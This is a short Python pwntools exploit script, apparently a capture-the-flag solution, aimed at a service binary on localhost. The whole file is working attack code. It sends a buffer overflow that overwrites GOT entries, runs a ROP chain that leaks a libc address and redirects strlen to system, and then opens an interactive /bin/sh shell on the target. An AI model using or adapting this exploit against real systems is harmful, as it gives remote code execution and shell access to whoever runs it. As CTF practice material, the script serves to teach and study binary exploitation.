#!/usr/bin/python

import sys
import struct

from pwn import *


context.log_level = 'debug'


def main(filename='../service/main'):
    pop_rdi     = p64(0x400d73)
    pop_rsi_r15 = p64(0x400d71)
    pop_rbp     = p64(0x400948)
    
    read_plt    = p64(0x400840)
    write_plt   = p64(0x400800)
    strlen_plt  = p64(0x400810)

    puts_got    = p64(0x602018)
    strlen_got  = p64(0x602028)
    
    welcome     = p64(0x400B3B)

    # pc   = process(filename, env={'LD_PRELOAD': '../service/libc.so.6'})
    # pc = remote('0.0.0.0', 20002)
    pc = remote('localhost', 9997)

    # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc = ELF('../service/libc.so.6')

    # overwrite fflush with the next part of login_panel
    pc.sendlineafter(': ', 'A' * 92 + p64(0x602068))
    pc.sendlineafter(': ', p64(0x400C01))

    # leak libc address of puts using write and overwrite strlen with system using read function
    pc.sendlineafter(': ', 'A' * 24 + pop_rdi + p64(1) + pop_rsi_r15 + puts_got + p64(0) + write_plt + pop_rdi + p64(0) + pop_rsi_r15 + strlen_got + p64(0) + read_plt + pop_rbp + p64(0x602000 + 0x70) + welcome)

    write = u64(pc.recvline()[8:8+6] + '\x00' * 2)
    system = write - libc.symbols['write'] + libc.symbols['system']
    log.info('system libc @ ' + hex(system))

    pc.sendline(p64(system))
    pc.sendline('/bin/sh\x00')

    pc.interactive()

if __name__ == '__main__':
    if len(sys.argv) == 2:
        main(sys.argv[1])
    else:
        main()
